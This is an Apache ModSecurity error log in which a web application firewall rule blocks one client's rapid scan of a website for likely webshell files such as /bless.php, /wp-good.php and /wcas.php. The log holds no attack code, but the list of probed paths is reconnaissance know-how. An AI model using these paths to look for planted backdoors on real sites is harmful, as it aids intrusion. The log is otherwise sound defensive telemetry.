[Thu Dec 18 21:42:59.554307 2025] [:error] [pid 24433:tid 24441] [client 4.196.84.157:18755] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUQE454pN9ycmipm8TjhMwAAAQU"]
[Thu Dec 18 21:42:59.674829 2025] [:error] [pid 12035:tid 12052] [client 4.196.84.157:18690] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUQE47cVHrNSHjCo-0qejAAAAgo"]
[Thu Dec 18 21:43:00.087081 2025] [:error] [pid 25357:tid 25371] [client 4.196.84.157:24212] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUQE5IaT7bsEXnJVfJdysgAAAcw"]
[Thu Dec 18 21:43:00.512052 2025] [:error] [pid 23558:tid 23634] [client 4.196.84.157:21993] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/index.php"] [unique_id "aUQE5OHam9NbgPQa9uYtqAAAANM"]
[Thu Dec 18 21:43:00.711344 2025] [:error] [pid 12383:tid 12410] [client 4.196.84.157:1498] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "aUQE5Pdgllo9h1cyxGbM4AAAAtg"]
[Thu Dec 18 21:43:00.956453 2025] [:error] [pid 25357:tid 25359] [client 4.196.84.157:16251] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "aUQE5IaT7bsEXnJVfJdyswAAAcA"]
[Thu Dec 18 21:43:01.683676 2025] [:error] [pid 25357:tid 25365] [client 4.196.84.157:21962] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "aUQE5YaT7bsEXnJVfJdytQAAAcY"]
[Thu Dec 18 21:43:02.391190 2025] [:error] [pid 24433:tid 24442] [client 4.196.84.157:16238] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file18.php"] [unique_id "aUQE5p4pN9ycmipm8TjhNQAAAQY"]
[Thu Dec 18 21:43:02.802113 2025] [:error] [pid 23556:tid 23582] [client 4.196.84.157:17790] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v.php"] [unique_id "aUQE5hnmLlk3u5yt9kHwRQAAABY"]
[Thu Dec 18 21:43:02.918099 2025] [:error] [pid 23558:tid 23615] [client 4.196.84.157:1559] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v.php"] [unique_id "aUQE5uHam9NbgPQa9uYtqQAAAMA"]
[Thu Dec 18 21:43:02.986918 2025] [:error] [pid 12239:tid 12265] [client 4.196.84.157:16941] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v.php"] [unique_id "aUQE5tNnXxfGIuWO6akiUQAAApU"]
[Thu Dec 18 21:43:03.277495 2025] [:error] [pid 24542:tid 24566] [client 4.196.84.157:17015] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v.php"] [unique_id "aUQE50tQz4H2oS3NrDYoCAAAAVY"]
[Thu Dec 18 21:43:03.846481 2025] [:error] [pid 23556:tid 23560] [client 4.196.84.157:21570] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUQE5xnmLlk3u5yt9kHwRwAAAAA"]
[Thu Dec 18 21:43:04.158893 2025] [:error] [pid 24433:tid 24452] [client 4.196.84.157:1486] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUQE6J4pN9ycmipm8TjhNwAAARA"]
[Thu Dec 18 21:43:04.745353 2025] [:error] [pid 23556:tid 23565] [client 4.196.84.157:21981] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUQE6BnmLlk3u5yt9kHwSAAAAAU"]
[Thu Dec 18 21:43:05.096927 2025] [:error] [pid 12383:tid 12386] [client 4.196.84.157:20753] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-good.php"] [unique_id "aUQE6fdgllo9h1cyxGbM5QAAAsA"]
[Thu Dec 18 21:43:05.259448 2025] [:error] [pid 12383:tid 12391] [client 4.196.84.157:18458] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aUQE6fdgllo9h1cyxGbM5gAAAsU"]
[Thu Dec 18 21:43:05.884334 2025] [:error] [pid 23558:tid 23630] [client 4.196.84.157:1566] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aUQE6eHam9NbgPQa9uYtrgAAAM8"]
[Thu Dec 18 21:43:06.353337 2025] [:error] [pid 12035:tid 12048] [client 4.196.84.157:1588] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aUQE6rcVHrNSHjCo-0qekQAAAgY"]
[Thu Dec 18 21:43:06.877114 2025] [:error] [pid 24542:tid 24562] [client 4.196.84.157:20764] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bless.php"] [unique_id "aUQE6ktQz4H2oS3NrDYoCwAAAVI"]
[Thu Dec 18 21:43:07.373050 2025] [:error] [pid 23645:tid 23652] [client 4.196.84.157:24249] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aUQE6zf_Rx0Y0ao_QJhlJQAAAIU"]
[Thu Dec 18 21:43:07.675924 2025] [:error] [pid 23645:tid 23670] [client 4.196.84.157:31897] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aUQE6zf_Rx0Y0ao_QJhlJgAAAJc"]
[Thu Dec 18 21:43:07.933004 2025] [:error] [pid 23556:tid 23567] [client 4.196.84.157:1953] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aUQE6xnmLlk3u5yt9kHwTAAAAAc"]
[Thu Dec 18 21:43:08.498200 2025] [:error] [pid 12239:tid 12253] [client 4.196.84.157:22412] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/acp.php"] [unique_id "aUQE7NNnXxfGIuWO6akiUwAAAok"]
[Thu Dec 18 21:43:08.619373 2025] [:error] [pid 24433:tid 24437] [client 4.196.84.157:16950] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "aUQE7J4pN9ycmipm8TjhOQAAAQE"]
[Thu Dec 18 21:43:08.762361 2025] [:error] [pid 23645:tid 23662] [client 4.196.84.157:22443] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "aUQE7Df_Rx0Y0ao_QJhlJwAAAI8"]
[Thu Dec 18 21:43:09.013295 2025] [:error] [pid 23556:tid 23580] [client 4.196.84.157:1472] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "aUQE7RnmLlk3u5yt9kHwTQAAABQ"]
[Thu Dec 18 21:43:09.259112 2025] [:error] [pid 23558:tid 23629] [client 4.196.84.157:14402] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/g.php"] [unique_id "aUQE7eHam9NbgPQa9uYtswAAAM4"]
[Thu Dec 18 21:43:09.465440 2025] [:error] [pid 25357:tid 25379] [client 4.196.84.157:16900] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/static/as.php"] [unique_id "aUQE7YaT7bsEXnJVfJdyvAAAAdQ"]
[Thu Dec 18 21:43:09.970087 2025] [:error] [pid 23556:tid 23577] [client 4.196.84.157:13412] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/static/as.php"] [unique_id "aUQE7RnmLlk3u5yt9kHwTgAAABE"]
[Thu Dec 18 21:43:10.320046 2025] [:error] [pid 12239:tid 12250] [client 4.196.84.157:22430] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/static/as.php"] [unique_id "aUQE7tNnXxfGIuWO6akiWAAAAoY"]
[Thu Dec 18 21:43:10.642528 2025] [:error] [pid 23645:tid 23649] [client 4.196.84.157:16217] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/static/as.php"] [unique_id "aUQE7jf_Rx0Y0ao_QJhlKgAAAII"]
[Thu Dec 18 21:43:11.211993 2025] [:error] [pid 23558:tid 23624] [client 4.196.84.157:16897] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aUQE7-Ham9NbgPQa9uYttwAAAMk"]
[Thu Dec 18 21:43:11.500985 2025] [:error] [pid 23558:tid 23622] [client 4.196.84.157:20736] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aUQE7-Ham9NbgPQa9uYtuQAAAMc"]
[Thu Dec 18 21:43:11.685946 2025] [:error] [pid 23558:tid 23628] [client 4.196.84.157:26829] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aUQE7-Ham9NbgPQa9uYtugAAAM0"]
[Thu Dec 18 21:43:12.316986 2025] [:error] [pid 12035:tid 12057] [client 4.196.84.157:16998] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/class.php"] [unique_id "aUQE8LcVHrNSHjCo-0qekwAAAg4"]
[Thu Dec 18 21:43:13.064335 2025] [:error] [pid 12239:tid 12256] [client 4.196.84.157:1500] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aUQE8dNnXxfGIuWO6akiWgAAAow"]
[Thu Dec 18 21:43:13.738280 2025] [:error] [pid 24433:tid 24457] [client 4.196.84.157:16004] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aUQE8Z4pN9ycmipm8TjhQAAAARU"]
[Thu Dec 18 21:43:14.411844 2025] [:error] [pid 23645:tid 23648] [client 4.196.84.157:31879] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aUQE8jf_Rx0Y0ao_QJhlMQAAAIE"]
[Thu Dec 18 21:43:14.667609 2025] [:error] [pid 25357:tid 25364] [client 4.196.84.157:26728] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/simple.php"] [unique_id "aUQE8oaT7bsEXnJVfJdywQAAAcU"]
[Thu Dec 18 21:43:15.101984 2025] [:error] [pid 12383:tid 12405] [client 4.196.84.157:16002] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUQE8_dgllo9h1cyxGbM8AAAAtM"]
[Thu Dec 18 21:43:15.473153 2025] [:error] [pid 25357:tid 25371] [client 4.196.84.157:17003] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUQE84aT7bsEXnJVfJdyxAAAAcw"]
[Thu Dec 18 21:43:15.786180 2025] [:error] [pid 24542:tid 24547] [client 4.196.84.157:22424] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUQE80tQz4H2oS3NrDYoFgAAAUM"]
[Thu Dec 18 21:43:16.288160 2025] [:error] [pid 12239:tid 12262] [client 4.196.84.157:16014] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aUQE9NNnXxfGIuWO6akiXQAAApI"]
[Thu Dec 18 21:43:16.849783 2025] [:error] [pid 25357:tid 25367] [client 4.196.84.157:1533] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/33.php"] [unique_id "aUQE9IaT7bsEXnJVfJdyxgAAAcg"]
[Thu Dec 18 21:43:17.085041 2025] [:error] [pid 23556:tid 23579] [client 4.196.84.157:17127] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/33.php"] [unique_id "aUQE9RnmLlk3u5yt9kHwVAAAABM"]
[Thu Dec 18 21:43:17.827339 2025] [:error] [pid 24433:tid 24441] [client 4.196.84.157:16939] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/33.php"] [unique_id "aUQE9Z4pN9ycmipm8TjhRAAAAQU"]
[Thu Dec 18 21:43:18.552547 2025] [:error] [pid 23558:tid 23620] [client 4.196.84.157:24214] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/33.php"] [unique_id "aUQE9uHam9NbgPQa9uYtwwAAAMU"]
[Thu Dec 18 21:43:19.227323 2025] [:error] [pid 24542:tid 24548] [client 4.196.84.157:31907] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aUQE90tQz4H2oS3NrDYoGwAAAUQ"]
[Thu Dec 18 21:43:19.628164 2025] [:error] [pid 24542:tid 24553] [client 4.196.84.157:18465] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aUQE90tQz4H2oS3NrDYoHQAAAUk"]
[Thu Dec 18 21:43:19.927167 2025] [:error] [pid 23558:tid 23623] [client 4.196.84.157:24201] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aUQE9-Ham9NbgPQa9uYtxQAAAMg"]
[Thu Dec 18 21:43:20.281177 2025] [:error] [pid 25357:tid 25368] [client 4.196.84.157:20766] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/o.php"] [unique_id "aUQE-IaT7bsEXnJVfJdyzAAAAck"]
[Thu Dec 18 21:43:21.153189 2025] [:error] [pid 23556:tid 23567] [client 4.196.84.157:51194] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aUQE-RnmLlk3u5yt9kHwWgAAAAc"]
[Thu Dec 18 21:43:21.534247 2025] [:error] [pid 12239:tid 12248] [client 4.196.84.157:18779] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aUQE-dNnXxfGIuWO6akiXgAAAoQ"]
[Thu Dec 18 21:43:21.792885 2025] [:error] [pid 24542:tid 24558] [client 4.196.84.157:21975] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aUQE-UtQz4H2oS3NrDYoIgAAAU4"]
[Thu Dec 18 21:43:22.019508 2025] [:error] [pid 25357:tid 25375] [client 4.196.84.157:17477] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wcas.php"] [unique_id "aUQE-oaT7bsEXnJVfJdyzgAAAdA"]
